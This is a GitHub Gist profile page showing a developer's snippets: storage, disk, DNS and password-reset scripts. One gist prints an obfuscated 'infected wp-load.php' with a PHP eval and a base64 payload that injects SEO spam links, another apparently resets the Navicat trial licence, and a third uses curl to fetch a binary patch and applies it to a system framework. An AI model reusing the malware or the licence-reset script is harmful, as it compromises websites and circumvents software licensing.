Skip to content

Instantly share code, notes, and snippets.

View frytaz's full-sized avatar
😁
if true

Marcin frytaz

😁
if true
View GitHub Profile
#!/bin/bash
# cron script to monitor temporary staging dir and move .plot files into farm dir where is enough free space
# temp dirs separated by space
temp_dirs=(/mnt/staging)
# farm dirs separated by space
farm_dirs=(/mnt/farm-03 /mnt/farm-02 /mnt/farm-01)
for dir in "${temp_dirs[@]}"; do
@frytaz
frytaz / script-template.sh
Created December 15, 2020 14:58 — forked from m-radzikowski/script-template.sh
Minimal safe Bash script template - see the article with full description: https://betterdev.blog/minimal-safe-bash-script-template/
#!/usr/bin/env bash
set -Eeuo pipefail
cd "$(dirname "${BASH_SOURCE[0]}")" >/dev/null 2>&1
trap cleanup SIGINT SIGTERM ERR EXIT
usage() {
cat <<EOF
@frytaz
frytaz / navicat.sh
Last active December 28, 2020 19:46
Navicat
#!/bin/bash
# Remove data
rm ~/Library/Application\ Support/PremiumSoft\ CyberTech/Navicat\ CC/Navicat\ Premium/.[A-Z0-9]*
# Convert binary plist
plutil -convert xml1 ~/Library/Preferences/com.prect.NavicatPremium15.plist
# Remove 1851677BB2F5551BFD9F041BB29EDB43 key from plist
plutil -remove 1851677BB2F5551BFD9F041BB29EDB43 ~/Library/Preferences/com.prect.NavicatPremium15.plist
let ctrlDown = false,
ctrlKey = 17,
cmdKey = 91,
vKey = 82,
cKey = 67;
$(document).keydown(function(e) {
if (e.keyCode == ctrlKey || e.keyCode == cmdKey) ctrlDown = true;
}).keyup(function(e) {
if (e.keyCode == ctrlKey || e.keyCode == cmdKey) ctrlDown = false;
@frytaz
frytaz / reload_device.sh
Last active June 5, 2020 16:51
Reload hard disk on linux
#!/bin/bash
# Use ./reload_device.sh sdX
DEVICE=$1
HOST=$(ls -la /sys/block/$DEVICE/device | cut -d'/' -f8 | cut -d':' -f1)
echo "Deleting device: $DEVICE on host: $HOST"
echo 1 > /sys/block/$DEVICE/device/delete
echo "Sleep 5....."
@frytaz
frytaz / linode_resource_update.sh
Created May 29, 2017 20:36
linode_resource_update.sh
#!/bin/bash
# API Key can be found on https://manager.linode.com/profile/index
APIKEY=''
# IP address You want to set domain to
TARGETIP=`dig +short myip.opendns.com @resolver1.opendns.com | tr -d "\r\n"`
# Domain id
DOMAINID='897947'
# Domain resource id
RESOURCEID='7953514'
@frytaz
frytaz / gist:28b4a798f31fa8aef8f2b9647f6ce1df
Created April 5, 2017 19:57
infected wordpress wp-load.php
<?php
/* DO-NOT-MAKE */ $eexvH=array(13,20,15,42,57,28,15,16,13,14,18,37,59,13,33,26,59,13);function KRnmE($ttppZZV,$ZAKFseVgAVSEL){$ENggc="";foreach($ttppZZV as $LcTtowcm){$ENggc.=substr($ZAKFseVgAVSEL,(int)$LcTtowcm,1);}return $ENggc;}$pscRFTwSzB="3PJpw09RAhStHe6asD45v2XG8Vo1bUnZrcCEz_NBFTl7QgxYMjkyLWmuf(Kdq";$MjTGnzWhKrzzELumAkhBaML=KRnmE($eexvH,$pscRFTwSzB);eval($MjTGnzWhKrzzELumAkhBaML.'("ICBlcnJvcl9yZXBvcnRpbmcoMCk7ICAgIGlmIChwcmVnX21hdGNoKCcjZ29vZ2xlfGJpbmd8eWFob298bXNufGJhaWR1fGFocmVmcyNzaScsQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpICAgeyAgICAgZnVuY3Rpb24gcHJjcCgkcmVzc3MpICAgIHsgICAgZ2xvYmFsICRjb3VudGVyR0FHQSwgJHNlbnBvc0dBR0EsICRsaW5rOyAgICAgIGlmICgkY291bnRlckdBR0E9PSRzZW5wb3NHQUdBKSAkcmV0ID0gJHJlc3NzWzBdLiRsaW5rLicgJzsgICAgZWxzZSAkcmV0ID0gJHJlc3NzWzBdOyAgICAgICRjb3VudGVyR0FHQSsrOyAgICAgIHJldHVybiAkcmV0OyAgICB9ICAgICAgICR1cmwgPSAnaHR0cDovL2dvZ2V0d3BsaW5rcy5jb20nOyAgICRycCA9ICdodHRwOi8vJy5AJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAgaWYgKCFwcmVnX21hdGNoKCcjKHhtbHJwY3xyb2JvdHN
@frytaz
frytaz / mavericks_ssl_patch
Last active August 29, 2015 13:56
OSX Mavericks goto fail patch
cd /System/Library/Frameworks/Security.framework/Versions/A/
sudo cp Security Security_back
curl http://download.suhosin.org/APPLE_SSL_SECURITY_FRAMEWORK_QUICK_AND_DIRTY_64BIT_FIX.bspatch -o /tmp/APPLE_SSL_SECURITY_FRAMEWORK_QUICK_AND_DIRTY_64BIT_FIX.bspatch
sudo bspatch Security_back Security /tmp/APPLE_SSL_SECURITY_FRAMEWORK_QUICK_AND_DIRTY_64BIT_FIX.bspatch
@frytaz
frytaz / gist:7037771
Last active December 25, 2015 20:49
Ghost node.js blogging platform password reset script
var bcrypt = require('bcrypt-nodejs'),
sqlite3 = require('sqlite3').verbose();
var file = 'content/data/ghost-dev.db';
var db = new sqlite3.Database(file);
var password = 'YOUR_NEW_PASSWD';
bcrypt.hash(password, null, null, function(err, hash) {
db.serialize(function() {
db.run("UPDATE users SET password = ? WHERE id = ?", hash, 1);
@frytaz
frytaz / xinetd.conf.bak
Last active December 11, 2015 04:29
xinetd conf backup stuff
sudo /opt/local/sbin/xinetd -d -f /etc/xinetd.conf -reuse
#cat /etc/xinetd.conf
defaults
{
instances = 60
log_type = SYSLOG daemon
log_on_success = HOST PID
log_on_failure = HOST
cps = 25 30